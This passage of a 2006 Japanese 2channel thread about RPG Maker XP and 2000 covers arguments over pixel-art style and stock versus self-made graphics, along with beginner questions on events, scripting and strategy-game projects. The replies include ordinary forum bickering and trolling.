>ツクXPのRTPやFSMみたいなホゲホゲラ風のドット絵のこと?
>スーファミの頃のスクウェアのドット絵とか、そういうの
>ホゲホゲラ風なドット絵なんて無理に使う必要ない
別に「リアル風」ってのがどんな意味でも通じるぜ。

456 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 20:16:02 ID:lswWcXGp]
>>448
これいいね。RPGツクールXPって、ネット接続対応したゲームも作れるのか。



457 名前:名前は開発中のものです。 [2006/11/10(金) 21:37:24 ID:yQLR8Up0]
おい、ツクール用のいい音楽サイト教えろ

458 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 22:44:02 ID:P1xMIhMh]
あの丸々と太ったキャラクターがリアルとはお世辞にも言えないです

459 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 22:53:53 ID:5+8gsLTZ]
キミもクドイね、他の人がフォロー入れてるのに、リアル風って言葉に語弊があるのは確かで
何処がリアル風かでなく語彙の使い方が間違ってるからって言えばいいだけだろ?

RTPより精度が高く細かいって事だろう特にマップチップの話だと思うぞ、あと恐らくRTPより
色使いコントラストなどには数段高いリアリティがあるのは確かだろう。
荘う行ったものが好きな人が多いようだが、彼はもうちょっと原色っぽかったり簡単だったりする
コミカルと言うかおもちゃっぽい感じのドット絵が好きと言うだけだろう。

彼の「無理して使う事は無い」って言う言い方もやや押し付けがましいのは確かだが。

460 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 23:04:02 ID:rEqC77cj]
>>458
キャラセットしか頭に無い厨乙w

461 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 23:07:23 ID:IXwVoGMy]
まー、たぶん452は凹凸や奥行きを表現してる絵を
「リアル風」って言ってるんだろね。
対照にきみしねやロコロコとか平面的な絵を持ってきてるところから考えると。

って風に相手の意図を読めないもんなのかね。

つか、ツッコミどころは別にあって、
ツクールのような2Dマップは奥行きアリが前提なんで、
(正面斜めからの見下ろしのデフォルメ)
奥行き表現ナシの平面な絵を使うとなると、
ちょっと考えなきゃイカン部分がでてくるんだけどな。

462 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 23:16:39 ID:B5nqwTR0]
歩行キャラの角度がおかしい。
もう少し斜めっぽい角度でなければ、リアルとはいえない。

463 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 23:19:41 ID:IXwVoGMy]
>>462
>452

464 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 23:20:36 ID:IXwVoGMy]
あー、スレ番間違えた! >459だよ!
恥ずかし!

465 名前:名前は開発中のものです。 mailto:sage [2006/11/10(金) 23:51:40 ID:P1xMIhMh]
>>468
キャラセットはあくまでも例
チップセットも同様に童話チックだろ…

ツク厨は全て詳細に書かなけりゃわからないのかな


つかベジェ使ったCGを比較対象にされて納得できるお前の頭がどうかしてる

466 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 00:05:23 ID:iNqRF3CT]
んで、リアルかどうかという話と元の話になんの関係が?



467 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 00:06:48 ID:Dz5zqUiL]
FSMはツクール素材のドット絵のなかではリアル寄りだろ
FSM以上にリアル志向なドット絵のツクール素材もあるけど、さほどあるわけじゃないだろ

非リアル志向ってのは、このスレの
game10.2ch.net/test/read.cgi/gameama/1147535375/l50
>>460
>>656
とか良い例だ

個人的にこういうの好きなんで他にもこのタイプの作品を知ってたら教えて欲しい


468 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 00:10:59 ID:Dz5zqUiL]
>>466
話を>>451に戻すと、
画質が綺麗でそれ相応のグラフィックが作れないだなんて思わずに、
きみしねとかみたいな単純なタッチの絵でも十分見栄えがいいんだから、手軽に挑戦しよう
ってことだな


469 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 00:13:52 ID:iNqRF3CT]
つまりリアルかどうかなんて関係ない、ってことだな。

470 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 00:15:56 ID:at/mcnK1]
気に食わなきゃ自分は使わなきゃいい、
使ってる他人や他人がリアルに感じてるかを揶揄する必要も無いし、否定する必要も無い。
皆自分の意見に賛成するまでゴネ続けるのかいキミ達は?

471 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 00:17:17 ID:eyr/uaQC]
君も落ち着いて自分のレス見てみろ。

472 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 00:19:41 ID:iNqRF3CT]
>>470
誰に言ってんだ?

473 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 00:20:29 ID:Dz5zqUiL]
話を戻したのに誰も戻ってこないでやんの
まあ話のネタは移るもんだし否定しないけど
というかまた別の話になってない?
気に食わなきゃ自分は使わなきゃいい、って何の話?

474 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 00:24:27 ID:iNqRF3CT]
んじゃ、オレが戻す。

「単純なタッチの絵を使え」と言うけど、そっちの方が難しいと思う。
シンプルなものって、難しいものだよ逆に。
複雑なものの方が、言葉は悪いがごまかしが効く。

ただ、選択肢として見失ってないか、という意味では同意だ。
そっちの方に才能が向いてて、いわゆるゲーム的なドット絵なんて描けません、
という人もいるからねぇ。

475 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 00:45:58 ID:Dz5zqUiL]
kjm.kir.jp/pc/img/24617.jpg
俺が言うシンプルなのって正直こんな程度だよ
でもこんなんでも、
RTPやフリー素材使った作品が並んでるより、
こういう各自それぞれが下手でもいいから自作してる作品が並んでるほうが絶対楽しいでしょ
スクショ見て回るだけでもかなり面白いと思うんだよね


476 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 00:51:01 ID:iNqRF3CT]
>>475
それが見栄えいいかと言われると、どーかしら?
それが活きてくるように使われてるかどうかがわからんからね。

絶対楽しい、なんてことは少なくともないな。
否定はせんけど、個人的感覚を一般論にしすぎ。絶対て。



477 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 00:56:45 ID:Dz5zqUiL]
見苦しいけど言い訳すると
例として数秒で書きなぐった絵であって、実際はもっと手をかけるよ
(個人的には数秒で書きなぐる程度でも十分だと思ってるけど)


478 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 00:59:17 ID:iNqRF3CT]
>>477
えーっと、それそのものの出来の話はしてねーんだけど?

479 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 01:05:45 ID:eyr/uaQC]
もういいよ。なんでおまいらそんな事で必死になってんだよ。
子供はもう寝ろ。

480 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 01:09:14 ID:iNqRF3CT]
>>479
普通に会話を楽しんでるだけだが?

俺たち必死か?>ID:Dz5zqUiL

481 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 01:13:11 ID:Dz5zqUiL]
見栄えがいいかと聞かれたら正直返答に詰まるな・・・
でも色んなのがあったほうがいいっしょ
ラクガキから実写風まで、幅広く

複雑なものよりも更に難易度が高い「シンプルな絵」でもいいけどさ
すっげえ簡単な「シンプルな絵」もアリでしょ

482 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 01:20:50 ID:Dz5zqUiL]
必死になってるつもりはなかったけど
冷静に見返すと、なんか自分が「ラクガキしか描けないけどそれはそれで素晴らしいことなんだよ!」みたいな自己擁護してるようだ・・・
そういうわけじゃないんだよ・・・ほんと
サンプル素材とかフリー素材とか市販の2Dゲーに惑わされずに色んな表現しようよってことね

483 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 01:21:58 ID:6cXhcDKw]
XPが出て、そういういろんな画風っていっぱい出てくるかなぁと思ったけど。

前に実写取り込んでキャラチップにしてる人いたよね。出来が良い、面白いは別として、もっといろんなチャレンジ見たいよね。
RTPは飽きる!自作したらレベル低くなる!と嘆くぐらいなら。

ってお話をされてるんですよな?

484 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 01:38:12 ID:at/mcnK1]
>>475
そのあたりの妥協の仕方は大まかに2通りの意見を良く聞くよ。
下手でも自作オリジナルの方が良い、これは製作者に多い意見でプレイヤーでも作ることに
少なからず興味のあるような人間ややや変わった作品が好きな人に多い意見。
逆に下手な絵を並べるくらいならRTPやFSMの方が見栄えがするし絵を見るためのゲームじゃない、
絵を見せることも念頭なら尚更下手じゃ意味が無い、いっそのこと顔グラなんかも廃止して
見た目は極力シンプルにして内容で勝負した方が良いって意見も結構聞く。

自分がどっちだと思うかは自由だがそれを啓蒙してあるく必要は無いし、
定番素材がいやなら、落書きや雑音のような素材でも全部自作して作れば良い、
世の中にいろんな話を作りたい人間がいて、落書きよりは定番素材の方が自分の話の
テーマにそう人が多いのも事実だ、シリアスな話にそんな絵は使えないだろ?

485 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 01:59:35 ID:iNqRF3CT]
>>482
やあ「ラクガキしか書けないけどそれはそれで素晴らしい」ってのはその通りでしょ。
それは、それが十分に見栄えがいい、からではないし、
人が認めてくれるかどうかもわからないけれども。

486 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 02:09:45 ID:at/mcnK1]
「素晴らしい」なんていう主観の押し付けは非常に素晴らしくないですね。



487 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 02:19:06 ID:iNqRF3CT]
>>486
そうだけど、誰か押しつけてる?

488 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 02:26:09 ID:at/mcnK1]
うん、少なくとも「そのとおりでしょう」は啓蒙だね。

489 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 02:30:28 ID:iNqRF3CT]
そっかな? そんなつもりないよ?
つーか啓蒙が押しつけだなんて初めて知った。

490 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 02:40:19 ID:at/mcnK1]
啓蒙は教えをこうてるわけでもない人に思想を刷り込もうとする行為だから
完全に考え方の押し付けだよ。

491 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 06:03:14 ID:yjFbSlNv]
必死な連中ばっかだなw
そんなに顔を真っ赤にして、恥ずかしくないのかよwww

492 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 06:33:43 ID:Y2ydN8xB]
>>480
 >普通に会話を楽しんでるだけだが?

楽しみたいなら他所でやれ
お前らのオナニーでスレ消費するな、まじでウザイ
タナと同じで人の迷惑を気にしてねーんだろ

493 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 08:02:09 ID:qQ8FHke7]
所でRTPに塗りが近い感じで完成度の高いマップチップってどんなの在るんだろ?

FSMの様なSFC時代のFFみたいな質感より、むしろFC時代のDQ、FFっぽい
如何にもドッド絵な方がツクってますって気がして個人的にはいいんだけど

RTPでざっとひな型作ってからFSMでリファインすると↑の思いによく駆られる

494 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 11:01:43 ID:ofkDNEY4]
>>475
よくわかんないけど、前にものすごーくショボイ自作絵だろうものを
使ってるゲームみたことあるけど、
ぶっちゃけその絵でゲームが台無しになってた

ショボイ自作絵使うくらいなら
使わないでゲームとして成立する方法を考えたほうがいいとおもう

495 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 13:16:36 ID:2s3H2v2U]
基本はデフォ素材やフリー素材だけど、顔グラや一部敵キャラだけ下手な自作とかだと萎える
全部自作なら、例え下手でも良い味出ていて良い

496 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 13:29:06 ID:QnmhW71f]
>>492
> タナと同じで人の迷惑を気にしてねーんだろ
どうしてわざわざゴミの話題を出すのかね。
というか、妙に呼び方に親しみが篭っているようだが、
ひょっとして自演ですか?www



497 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 13:59:34 ID:3ZOhgJVy]
>>496
お前がゴミと同程度だかじゃね?


498 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 14:40:00 ID:at/mcnK1]
>>493
今FCのDQとか見ると愕然とするよけどね、RTPなんかに比べてあまりのチャチで
色数が足りないからDQ4でさえ肌が白だし、キャラがったった4色だからな。
256色をチップごとに自由に使える環境だとFC風は逆に素材作りに手間が掛かる。
kazato.run.buttobi.net/cgi-bin/upload/src/viprpg_tktk0554.png
RTPキャラって色が明るくてだけで精度自体はそんなにFSMと変わらないんだよな
後はキャラの格好のデザインの問題で軽めに見えるけど。

499 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 16:01:18 ID:tE11ECvM]
>>498
つか、ツールを扱えないヤツは、どんな絵を描こうが手間がかかるけどなw


500 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 16:22:12 ID:at/mcnK1]
はぁ?ツール扱えなきゃいくら手間かけてもPCで絵なんか描けないが?

501 名前:451 mailto:sage [2006/11/11(土) 16:53:34 ID:N8lsG5CL]
俺のせいで荒れてるようで申し訳ない・・・


502 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 19:36:18 ID:2s3H2v2U]
荒れた原因は451でないから謝る必要は無い
そんなことよりも、君のレスに対して、いくつか意見が出ているけど
今後も「それ相応のグラフィックは作れません」というスタンスを貫くのか?
それ相応のグラフィックというのがどんなものなのか知らんけど

503 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 20:20:16 ID:aPpXUpSh]
援交少女くらい

504 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 21:03:16 ID:at/mcnK1]
やっぱりXP解像度で難しいのってタイルセットやマップチップあたりの素材かね?


505 名前:451 mailto:sage [2006/11/11(土) 21:31:16 ID:N8lsG5CL]
>>502
いつまで経っても、なっとくのいくグラフィックは出来ない・・・とでも言おうか。
まぁなっとくしたら進歩なんて無いわけだが


506 名前:名前は開発中のものですが [2006/11/11(土) 22:37:24 ID:7RO3tGK9]

RPG2000で じゃなくて、
2D格闘ゲームツクールで ドラゴンクエスト対戦格闘(?)みたいなゲームを
工作中です。
というか、すでにそんなゲームあるんですか?
検索してもでてこなかったんですが・・・。





507 名前:451 mailto:sage [2006/11/11(土) 22:45:42 ID:N8lsG5CL]
>>506
それってM.U.G.E.NかKFAじゃね?
前者がキャラ多すぎ自作は少しムズそう・後者はキャラ作りは楽、だが少しマイナー
2D格闘ゲームツクールは、さすがにスルー・・・

508 名前:名前は開発中のものです。 mailto:sage [2006/11/11(土) 22:47:10 ID:2s3H2v2U]
>>505
納得と相応は違うだろ・・・

509 名前:451 mailto:sage [2006/11/12(日) 00:15:28 ID:9VfFGmC6]
>>508
ヘタにレスつけると荒れそうだから、とりあえず書いただけだ・・・
聞かれたのにレスしないわけにも、いかないしな。察してくれ・・・

510 名前:名前は開発中のものです。 mailto:sage [2006/11/12(日) 00:35:17 ID:gBxaaHYn]
>>509
どの種類の素材をどの程度の出来栄えで作っていて、
どんな感じになれば納得なのか判らないとなんともいえないね。

ああだこうだ言い合ってモノがないんでは「これだけ出来れば十分じゃないか?」とか
「たしかにもうちょっと頑張れ」とかそういう判断すらわからないからね。

511 名前:名前は開発中のものです。 mailto:sage [2006/11/12(日) 02:22:55 ID:ZANsEzDV]
なんか微妙な間にスレが流れてるな
>>451の人気に嫉妬
>>510
別に451のレスを見る限り、評価してくれだの、見てくれだの書いてない希ガス
むしろ>>451のレスは完結してるのに無駄に内容を引っ張ってないか?w

512 名前:名前は開発中のものです。 mailto:sage [2006/11/12(日) 05:27:45 ID:hVCI3xFo]
すいません質問です。
RPGツクール2000なんですけど
「キャラクターの動作指定」で右に移動を選んでも右に向くことしかしません。
その次に[指定動作の全実行]を選ぶとその後のすべてのイベントが実行されずに
フリーズします。この症状を直すにはどうすればよろしいでしょうか?


513 名前:名前は開発中のものです。 mailto:sage [2006/11/12(日) 09:48:17 ID:Ag75e47Y]
右側のチップが移動不可なんでしょう。

514 名前:名前は開発中のものです。 mailto:sage [2006/11/12(日) 09:59:05 ID:SOjOWLe6]
RPGツクール95でセーブデータを改造するツールって何を使えば良いですか
出来ればフリーのが欲しいです

515 名前:名前は開発中のものです。 mailto:sage [2006/11/12(日) 10:00:26 ID:VXfXmVCi]
バイナリエディタ

516 名前:名前は開発中のものです。 mailto:sage [2006/11/12(日) 10:18:16 ID:Ag75e47Y]
325 名前:名前は開発中のものです。[] 投稿日:2006/10/29(日) 00:14:11 ID:rdWhChFH
質問です。
RPGツクール95のセーブデータ改造するツールって存在するのでしょうか?

347 名前:名前は開発中のものです。[] 投稿日:2006/10/31(火) 14:04:22 ID:sRWkiZ3T
質問です。
RPGツクール95のセーブデータ改造するツールって存在するのでしょうか?

する?、しない? どっち?

するのなら名前を教えて欲しい(ググっても見つからなかった)。



517 名前:名前は開発中のものです。 mailto:sage [2006/11/13(月) 01:04:00 ID:14xwJZ+v]
>>514
ツクール95使って操作できるイベントを自分で組めば出来る、フリーのものは無いと思う。

518 名前:タナ栗粉 [2006/11/13(月) 20:02:31 ID:AvWwNtaw]
すいませんスクリプトシェルフの
特殊効果詰め合せActon EXの取得画面のところでダメージのアニメが表示されてから消えるまでの早さを
「戦闘速度調整」で変更可能とのことだけどそれってどこのこと?教えてください

519 名前:名前は開発中のものです。 [2006/11/13(月) 20:54:20 ID:ZGpjHmmK]
なにか進んでるなと思ったらw

まあたまには雑談もいいんじゃね。
別にツクールや製作から外れた話をしてるわけじゃなし。

520 名前:名前は開発中のものです。 mailto:sage [2006/11/13(月) 22:10:13 ID:05mT+qjQ]
このスレのまとめwikiはどちらでしょうか?

521 名前:名前は開発中のものです。 mailto:sage [2006/11/13(月) 23:13:42 ID:a9r/aRAb]
>>520
お前が作れ

522 名前:名前は開発中のものです。 mailto:sage [2006/11/14(火) 02:26:52 ID:0tSOXyTl]
RPGツクールでRPGツクールを作れるか・・・妙な夢を見た、寝る

523 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 18:41:49 ID:zfVLKacD]
xp使いに聞きたいんだけど、スクリプト弄ったら
大戦略みたいなHEX戦(擬似HEXでも可。)を作れる気がする?
必死でHEXエディタと簡単なマス目移動まで作ったんだけど、
途中で構想が大きくなり戦略画面やRPGみたいな操作をする場面も
作りたくなって、もうツクールに頼りたくなった。
できればマウスが使えるといいんだがそこまで贅沢は言わない。
xpとスクリプトの関係や詳しい仕様が調べられれば一番いいんだけど、
とりあえず使い倒してる方の見解を聞きたい。

524 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 19:32:58 ID:PKsjW+bs]
>>523
6角形描くくらいなら、正方形を半分づつづらして配置した方が早いし、効果は同じじゃないか?

525 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 20:08:05 ID:gU8Vo/MN]
ドラクエ6式の転職のランク付けのスクリプトはどうすれば良いのか。
<戦士、武闘家極めてバトルマスターみたいな>

教えて頂きたい。

XPで

526 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 20:22:50 ID:zfVLKacD]
>>524
お、レスどうも!
仰るとおり、擬似HEXでいいやって感じです。
俺は上記の理由でツクールを触り始めたんですが、中古で安く買った2000と
ペイントで四角い枠を書いてキャラ作ってやろうとするとどうも上手くいかない。
まず、見た目半歩ずらしのマップを作っても動かしたカーソルがチップにマッチ
させる現実的な方法がわかりません。
俺の努力不足かも知れませんが、戦争場面はなるべくツクール標準の
RPG操作系の応用じゃなくて、もっとキチッと無理なく作りたいんですよ。
ツクールのマップありきじゃなくて、オリジナルな描画処理でやりたい。
メニューとかリストとかも。(なんか伝わりずらいかもしれませんが...)
RPG部分についてはこれからプログラムするの大変だし、
俺がやりたいことはツクール2000でも十分過ぎるほど実現できそうなので
xpのスクリプト機能で擬似HEX戦争(昔の信長の野望みたいな)が作れそうなら
明日からでもGOサインなんですが、皆さんいかがなものでしょう?



527 名前:526 mailto:sage [2006/11/15(水) 20:41:49 ID:zfVLKacD]
連投スマソ。
いい感じのところを見つけたんで、自分で調べてみます。
既に実験を進めてる方や、経験から大体想像できるという方がいたら
ご意見待ってます。
XPは値段が高いので、とりあえず買っちまうという勇気がなくて
ごめんなさいorz。では。

528 名前:タナ栗粉 [2006/11/15(水) 20:43:39 ID:TaCaWY1f]
おい早く教えて

529 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 21:07:46 ID:TLJG+pB4]
2000でプレイ時間をカウントしたいんだけど、
コモンでウェイト0.1秒→変数加算、の方法しかないのかな。
PCのスペックによって時間がずれたりしないかね。

530 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 21:32:38 ID:iznhMXNi]
>>529
当然するけど2000ならしょうがない

531 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 21:35:10 ID:iznhMXNi]
>>518
戦闘速度調整で検索すればいいよ
スクリプトエディタで

532 名前:526 mailto:sage [2006/11/15(水) 22:50:05 ID:zfVLKacD]
xp作品やってみましたが、すばらしい。
細かい座標指定で絵をグリグリ操作できる時点で感動。
おそらく相当作りこんでるんじゃないかと思いますが、
RPGもこなすエンジンを自前で開発してSLGを作るより、
XPで頑張ったほうが遥かに現実的な気がしてきました。
これからアマゾンに注文します。
最終形のイメージとしては大戦略WorldWarUをベースに
三国志風の戦略要素と馴染みのある2DRPG要素、できればTTO風の
イベントシーンをプラスした俺専用の超絶オナニー作品です。
将棋やチェスゲームを作ってるうちに思い立った俺の夢。
死ぬまでにこれだけは遺したい。

533 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 23:13:57 ID:ZmefEF48]
>>532
無理の出なくてやる気を失わない程度にちびちび頑張ってくれ。
話だけ聞くとかなり大物になりそうだから小さな目標立てて部分部分でこつこつやるのが肝要だろう。
かく言う俺も色々設定加えたwizまがいを作ろうとしてぼちぼちやってるが、普通に1年以上経ってるからな。
部品は大方作ったが組み合わせるのがまた面倒でね、一番のネックはグラフィックな訳だがorz
大物ほど地道にやるのが一番だ、頑張ってくれ。

534 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 23:20:53 ID:PWhDyJZz]
>>532
エンジン作るより、って話で調べてみたんならわかると思うが、
ツクールXPのRGSSは、スクリプト言語+ゲーム用ライブラリ=ゲームエンジンだよ。
つまり、機能的には余裕。

535 名前:526 mailto:sage [2006/11/16(木) 00:18:57 ID:jwnnpw9g]
>>533
応援ありがとう。
まずは本当にやりたい事、出来そうなことを吟味整理して、
部分的な実験を繰り返していきます。
言語仕様は別に書籍を購入したほうがいいかな。
うへぇ、大変だろうなぁw
ライフワークと思ってコツコツ頑張りますよ。

>>534
恥ずかしながら、ここまでツクールが進化してるとは思いませんでした。
ゲーム開発用IDEの域に足を踏み入れてますよね。
とりあえずのサンプルとしてRPGを入れてありますみたいな。
まあスクリプトである以上なんでもかんでも思い通りにとは
いかないかもしれませんが、俺が求めている表現レベルなら
仰るとおり十分可能だと思います。

536 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 10:17:27 ID:gT9FRAT8]
TTOって何だ?



537 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 10:28:02 ID:droEnjO4]
敵対的買収だよ

538 名前:タナ栗粉 [2006/11/16(木) 12:29:14 ID:6qe1z86r]
>>531ありがと 
大好きだよ(*^_^*)

539 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 14:15:37 ID:IrzBeemC]
2000で脱出的なイベントを作る時デフォ戦だと戦闘になると音楽変わるんだけどマップ移動時の音楽を流しっぱなしにできんもんかな?

540 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 14:54:31 ID:droEnjO4]
>>539
システムBGMの戦闘のBGMをマップ移動時と同じものにすればいいはず。
終わったらまた元に戻す。

541 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 18:24:29 ID:MwQTgTAZ]
2000.
最初真っ黒なマップで、
歩いたところだけ明るくなっていく(見えるようになっていく)感じにするにはどうすればいいでしょうか。

とりあえず、マップの全てのマスに全部真っ黒のイベントを配置して、
主人公と重なったらその重なったとこのイベントを消していくって方法は思いつくけど、
他に効率いい方法あったらお願いします。

542 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 19:50:14 ID:wWDPgEjq]
それだけ分かってるならやれば良いじゃないかwww

543 名前:名前は開発中のものです。 [2006/11/16(木) 20:27:48 ID:6qe1z86r]
>>531検索してもでてこない つうかスクリプトエディタで検索なんて項目ないし
もちっと詳しくおねがい

544 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 22:47:31 ID:1OIhdeXK]
>>541
真ん中だけ透過した黒いピクチャを動かせば良いんじゃね?と適当に言ってみる。


545 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 23:07:24 ID:rXc0lXZC]
またゴミが紛れ込んでるな。

546 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 23:21:31 ID:1OIhdeXK]
>>544
俺かよorz



547 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 02:53:33 ID:hCFRM2bY]
>>543
ヘルプぐらい熟読することをお勧めする。
あるいは、ヘルプで「検索」って語を検索してみるとか。

548 名前:タナ栗粉 [2006/11/17(金) 08:34:44 ID:vIuvr7mJ]
そんな長文書けるんなら教えるくらいわけないよな?早くして

549 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 09:30:24 ID:RA8qht5K]
タナきたぁあ
久々に覗いてみるもんだ

550 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 10:19:24 ID:qo2yZHy2]
タナ自体は特に相手にしなきゃ良いし、それにたいしてマジメに答えてる奴も構わんのだが
>549みたいなのが多くなるとスレが機能しなくなって困るんだよな。


551 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 10:21:41 ID:jyeVWJcb]
お前は何なんだよ。

552 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 11:15:00 ID:BdCahM7X]
うぉぉぉぉぉぉ!!!パソコンが起動しねぇぇぇぇ!!壊れちまったぁぁぁぁぁぁぁぁぁ!!あぁ・・今までの努力がぁぁ・・orz

553 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 11:19:26 ID:JKMYQxni]
>>549-550
はいはい、さっさと消えろ

554 名前:タナ栗粉 [2006/11/17(金) 11:25:47 ID:vIuvr7mJ]
喧嘩すんなよ

555 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 11:28:59 ID:RA8qht5K]
ワロタw

556 名前:タナ栗粉 [2006/11/17(金) 13:27:07 ID:vIuvr7mJ]
つうか喧嘩してる暇あったらとっとと俺に協力して完成を助けた方が有意義だろ?
なにしろ俺はツクールの歴史を変えるかもしれない男だからな



557 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 13:56:55 ID:Qtt1rB88]
>>556
518の件ならこれじゃないの?ちょっとはサイト内を探したら?
ttp://scriptshelf.jpn.org/x/XRXS_BP14.htm
ツクールも触ったこと無いしマカーだから間違っててもしらないけど。

558 名前:タナ栗粉 [2006/11/17(金) 14:23:15 ID:vIuvr7mJ]
ああーこれだのったのかあ ありがとう これできみは伝説の一端をになったことになる よろこんでいいよ

559 名前:名前は開発中のものです。 [2006/11/17(金) 15:11:39 ID:RA8qht5K]
>>557
もうちょっと焦らせよ

560 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 16:46:28 ID:OL5fHyZA]
ふと思い出したがRPGツクールみたいにRPG作るゲームって他にあったな。
斜め視点から見るヤツだったような。ネット販売しかしてなかったっけな。
なんて言ったっけなぁあれ。

561 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 19:10:44 ID:JVA1N51H]
TCGが作りたいんだが、、、、

562 名前:名前は開発中のものです。 [2006/11/17(金) 20:58:37 ID:vIuvr7mJ]
誰か歯車の城を愛用してるやついる?

563 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 00:59:21 ID:OxofPqnQ]
>>560
それは忘れたがフリーのQueek IIもおススメ。
ツクールやり始めたに気づいたから、触り程度しか試してないが

564 名前:名前は開発中のものです。 [2006/11/18(土) 02:03:09 ID:llFIGetl]
XPで飛行船実用化マダー?

565 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 06:35:49 ID:lVNws9xg]
>>560
3D RPGエディター Part2
game10.2ch.net/test/read.cgi/gameama/1090488153/

566 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 09:27:25 ID:agAUAVLf]
>>565
そうそれだ!



567 名前:タナ栗粉 [2006/11/18(土) 13:32:55 ID:7lfufh7z]
おい、XPでワールドマップ作ろうとしても端っこカクカクなワールドマップしかつくれないじゃん
ちゃんとワールドマップみたいにするにはどうすればいい?

568 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 13:39:03 ID:EVGHg8q4]
カクカクでない、滑らかなフチのマップグラフィックを自分で描くしかないだろうな

569 名前:タナ栗粉 [2006/11/18(土) 14:03:32 ID:7lfufh7z]
なんかいい素材ない?

570 名前:ダイア ◆Q.9/UGZBPY mailto:sage [2006/11/18(土) 14:08:44 ID:on1GePSo]
このへんがおすすめ^^


美茶乱会
水冠
なにもない空

571 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 14:24:34 ID:9p/dgTND]
370 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:13:17 ID:???
シェイラルド#銀槍様
omoti#homoti
これで満足かね

378 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:17:47 ID:???
今まで散々荒らした捨てコテのトリを公開する瞬間ほど楽しいものもなかろうw

381 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:20:24 ID:???
最後にダイアのトリを晒して終わるでござる^^

ダイア#日記帳★

ツクスレを潰せて拙者の復讐も天地終焉剣でござるな^^w

572 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 14:31:35 ID:NU6f16bR]
>>571
まんこ^^

573 名前:526 mailto:sage [2006/11/18(土) 15:28:32 ID:bNGGOAs1]
昨日XPが届いた。
朝からスクリプト貪って全体のスキームを図に起こしてみたが
すばらしい。
特に俺には十分なキーボードや画像の入出力機能と
イベントインタプリタが手に入ったのは嬉しい。
もうこれだけで買った甲斐があった。
ただ惜しくらむはオリジナルDBを設計して出力する
機能がないこと。
